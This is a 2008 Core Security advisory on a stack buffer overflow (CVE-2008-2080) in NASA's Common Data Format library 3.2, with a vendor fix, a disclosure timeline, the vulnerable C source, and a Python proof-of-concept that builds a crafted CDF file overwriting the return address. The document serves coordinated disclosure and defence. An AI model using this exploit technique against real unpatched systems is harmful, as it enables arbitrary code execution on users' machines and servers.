Core Security Technologies Advisory 2008.0326

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
NASA's Common Data Format buffer overflow  
  
  
*Advisory Information*  
  
Title: NASA's Common Data Format buffer overflow  
Advisory ID: CORE-2008-0326  
Advisory URL: http://www.coresecurity.com/?action=item&id=2260  
Date published: 2008-05-05  
Date of last update: 2008-05-05  
Vendors contacted: GODDARD Space Flight Center  
Release mode: Coordinated release  
  
  
*Vulnerability Information*  
  
Class: Stack Overflow  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: 29045   
CVE Name: CVE-2008-2080   
  
  
*Vulnerability Description*  
  
CDF [1] is a common data format developed by the NASA Goddard Space  
Flight Center. It is a conceptual data abstraction for storing,  
manipulating, and accessing multidimensional data sets. The CDF software  
package is used by hundreds of government agencies, universities, and  
private and commercial organizations as well as independent researchers  
on both national and international levels.  
  
The CDF Library is vulnerable to a buffer overflow in the stack, which  
can be exploited by malicious remote attackers to compromise a user's  
system. The vulnerability is caused due to the CDF  
('src/lib/cdfread64.c') library not properly sanitizing the length tags  
on a CDF file before using it to copy data on a stack buffer. This can  
be exploited to get arbitrary code execution by opening a specially  
crafted file.  
  
  
*Vulnerable Packages*  
  
. CDF 3.2 and earlier.  
  
  
*Non-vulnerable Packages*  
  
. CDF 3.2.1  
  
  
*Vendor Information, Solutions and Workarounds*  
  
The CDF project has issued a security advisory describing this  
vulnerability http://cdf.gsfc.nasa.gov/CDF32_buffer_overflow.html,  
partially quoted below.  
  
The libraries for the scientific data file format, Common Data Format  
(CDF) http://cdf.gsfc.nasa.gov/ version 3.2 and earlier, have the  
potential for a buffer overflow vulnerability when reading  
specially-crafted (invalid) CDF files. If successful, this could trigger  
execution of arbitrary code within the context of the CDF-reading  
program that could be exploited to compromise a system, or otherwise  
crash the program. While it's unlikely that you would open CDFs from  
untrusted sources, we recommend everyone upgrade to the latest CDF  
libraries on their systems, including the IDL and Matlab plugins. Most  
worrisome is any service that enables the general public to submit CDF  
files for processing.  
  
The vulnerability is in the CDF library routines not properly checking  
the length tags on a CDF file before copying data to a stack buffer.  
Exploitation requires the user to explicitly open a specially-crafted  
file. CDF users should not open files from untrusted third parties until  
the patch is applied (and continue then to exercise normal caution for  
files from untrusted third parties).  
  
CDF 3.2.1 addresses this vulnerability and introduces further usability  
fixes http://cdf.gsfc.nasa.gov/. Updates for Perl, IDL, Matlab and Java  
WebStart are also available. Java WebStart applications that refer to  
http://sscweb.gsfc.nasa.gov/skteditor/cdf/cdf-latest.jnlp, will  
automatically be updated to include this fix the next time the  
application is started while connected to the Internet.  
  
  
*Credits*  
  
This vulnerability was discovered and researched by Alfredo Ortega, from  
CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.  
  
  
*Technical Description / Proof of Concept Code*  
  
  
  
The CDF Library suffers from a buffer overflow in the Stack using a  
specially crafted (invalid) CDF input files. If successful, a malicious  
third party could trigger execution of arbitrary code within the context  
of the application using the library, or otherwise crash the whole  
application.  
  
Exploitation of the CDF overflow problem requires the user to  
explicitly open a specially crafted file. The user should refrain from  
opening files from untrusted third parties or accessing untrusted Web  
sites until the patch is applied.  
  
The vulnerability resides in the following code at  
'src/lib/cdfread64.c'. There, the function Read32s_64 reads data from a  
file into a buffer. The 'temp' buffer has a size of 'MAX_READ32s', but  
the 'count' parameter is never checked, and a stack overflow will happen  
if is it's bigger than 'MAX_READ32s'.  
  
/-----------  
  
57 STATICforIDL Logical Read32s_64 (fp, buffer, count)  
58 vFILE *fp;  
59 Int32 *buffer;  
60 int count;  
61 {  
62 #if defined(NETWORKbyteORDERcpu)  
63 if (count < 1) return TRUE;  
64 if (!READv64(buffer,(size_t)4,(size_t)count,fp)) return FALSE;  
65 #else  
66 #define MAX_READ32s CDF_MAX_DIMS /* This must be the maximum of  
67 CDF_MAX_DIMS and  
MAX_VXR_ENTRIES  
68 (and for any other uses of  
69 `Read32s'). */  
70 int i; Int32 temp[MAX_READ32s];  
71 if (count < 1) return TRUE;  
72 if (!READv64(temp,(size_t)4,(size_t)count,fp)) return FALSE;  
  
- -----------/  
  
The function 'Read32s_64' is called by 'ReadGDR64', also at  
'src/lib/cdfread64.c':  
  
/-----------  
  
256 #if defined(STDARG)  
257 STATICforIDL CDFstatus ReadGDR64 (vFILE *fp, OFF_T offset, ...)  
258 #else  
259 STATICforIDL CDFstatus ReadGDR64 (va_alist)  
260 va_dcl  
261 #endif  
262 {  
  
.  
.  
.  
  
301 if (!Read32_64(fp,&(fp->GDR64->rNumDims))) return CRE;  
302 if (!Read32_64(fp,&(fp->GDR64->NzVars))) return CRE;  
303 if (!Read64_64(fp,&(fp->GDR64->UIRhead))) return CRE;  
304 if (!Read32_64(fp,&(fp->GDR64->rfuC))) return CRE;  
305 if (!Read32_64(fp,&(fp->GDR64->rfuD))) return CRE;  
306 if (!Read32_64(fp,&(fp->GDR64->rfuE))) return CRE;  
307 if (!Read32s_64(fp,fp->GDR64->rDimSizes,  
308 (int)fp->GDR64->rNumDims)) return CRE;  
  
- -----------/  
  
We can see that the vulnerable function is called at the line '307'  
using the variable 'fp->GDR64->rNumDims' as the vulnerable 'count'  
parameter. This variable is controlled by the attacker because is loaded  
from the file in the line '301', and is trivial to craft a CDF file that  
overwrite the return value on the stack and execute binary code. The  
following proof of concept is a python script that creates a CDF file  
that triggers the overflow and executes a TRAP instruction when loaded  
with various standard CDF tools, like 'cdfstats', 'cdfdump' or 'cdfcvt'.  
  
/-----------  
  
## CDF 3.2 Stack Overflow PoC  
##  
## Alfredo Ortega, Core Security Exploit Writers Team (EWT)  
##  
## Work against:  
## cdfstats, cdfdump and cdfcvt  
## on the CDF 3.2 distribution compiled on Ubuntu 7.10  
##  
  
import struct  
  
trampoline=0x0810ca00  
name="bad.cdf"  
  
buffer ='\xcd\xf3\x00\x01\x00\x00\xff\xff\x00\x00\x00\x00\x00\x00\x01\x38'  
buffer+='\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x03'  
buffer+='\x00\x00\x00\x01\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00'  
buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff'  
buffer+='\nCommon Data Format (CDF)\n'  
buffer+='(C) Copyright 1990-2006 NASA/GSFC\n'  
buffer+='Space Physics Data Facility\n'  
buffer+='NASA/Goddard Space Flight Center\n'  
buffer+='Greenbelt, Maryland 20771 USA\n'  
buffer+='(Internet -- [email protected])\n'  
buffer+='\x00'*0x40  
buffer+='\x54\x00\x00\x00\x02\x00\x00\x00\x00'  
buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x94\x00\x00\x00\x00'  
buffer+='\x00\x00\x05\xd0\x00\x00\x00\x00\x00\x00\x17\x7c\x00\x00\x00\x00'  
buffer+='\x00\x00\x00\x03\xff\xff\xff\xff\x00\x00\x01\x00\x00\x00\x00\x03'  
buffer+='\x00\x00\x00\x00\x00\x00\x0b\x4a\x00\x00\x00\x00\xff\xff\xff\xff'  
buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x08'  
buffer+='\x00\x00\x00\x00\x00\x00\x02\xec\x00\x00\x00\x04\x00\x00\x00\x00'  
buffer+='\x00\x00\x00\x00\x00\x00\x0a\xae\x00\x00\x00\x00\x00\x00\x0a\xae'  
buffer+='\x00\x00\x00\x01\x00\x00\x00\x00'  
buffer+=struct.pack("<L",trampoline)  
buffer+='\xff\xff\xff\xff'  
buffer+='\xff\xff\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff'  
buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x54\x69\x6d\x65\x00\x00\x00\x00'  
  
file = open(name,"wb")  
file.write(buffer)  
file.write("\xcc"*5000000)  
file.close()  
  
- -----------/  
  
Besides the obvious client-side attack vector, where a file in CDF  
format is sent by mail to the victim to be opened by him, there are  
another, more serious, vectors where the attacker uploads a malformed  
CDF file to a server that automatically parses it (an example is the  
data translator web service in [2]), possibly leading to arbitrary code  
execution on the server side. For example a Java wrapper for the  
vulnerable CDF library was developed to use in other environments [3],  
by transitivity this wrapper is vulnerable too.  
  
  
*Report Timeline*  
  
. 2008-04-07: Initial notification sent to the vendor.  
. 2008-04-07: Vendor acknowledges and requests the advisory draft.  
. 2008-04-07: Core sends the draft of advisory CORE-2008-0326 to vendor.  
. 2008-04-07: Vendor acknowledges the draft saying that wants to  
coordinate and informs that fixes are been developed.  
. 2008-04-10: Core replies that is willing to coordinate the publication  
of CORE-2008-0326 and sends the estimated date of release.  
. 2008-04-23: Vendor confirms they are working on fixes for various  
platforms and plug-ins and requests a delay of the publication  
CORE-2008-0326 until May 5th.  
. 2008-04-23: Core confirms that the publication will be delayed until  
May 5th.  
. 2008-05-02: Vendor sends information for the "Vendor, Solutions and  
Workarounds Section" explaining all the fixes available.  
. 2008-05-05: Core requests vendor to update cross-reference information  
on the CDF website regarding advisory CORE-2008-0326.  
. 2008-05-05: Core publishes advisory CORE-2008-0326.  
  
  
*References*  
  
[1] http://cdf.gsfc.nasa.gov/  
[2] http://translators.gsfc.nasa.gov/home.jsp  
[3] http://cdf.gsfc.nasa.gov/cdfjava_doc/cdf31/index.html  
  
  
*About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs/.  
  
  
*About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
*Disclaimer*  
  
The contents of this advisory are copyright (c) 2008 Core Security  
Technologies and (c) 2008 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
*GPG/PGP Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.6 (MingW32)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org  
  
iD8DBQFIH0wJyNibggitWa0RAvx7AJ9F2ULHzdfuAmpGehbUniMOUH/+qQCfaggu  
kCJMZJzA/vvM7nMEsuDjW5c=  
=AmKo  
-----END PGP SIGNATURE-----  
  
`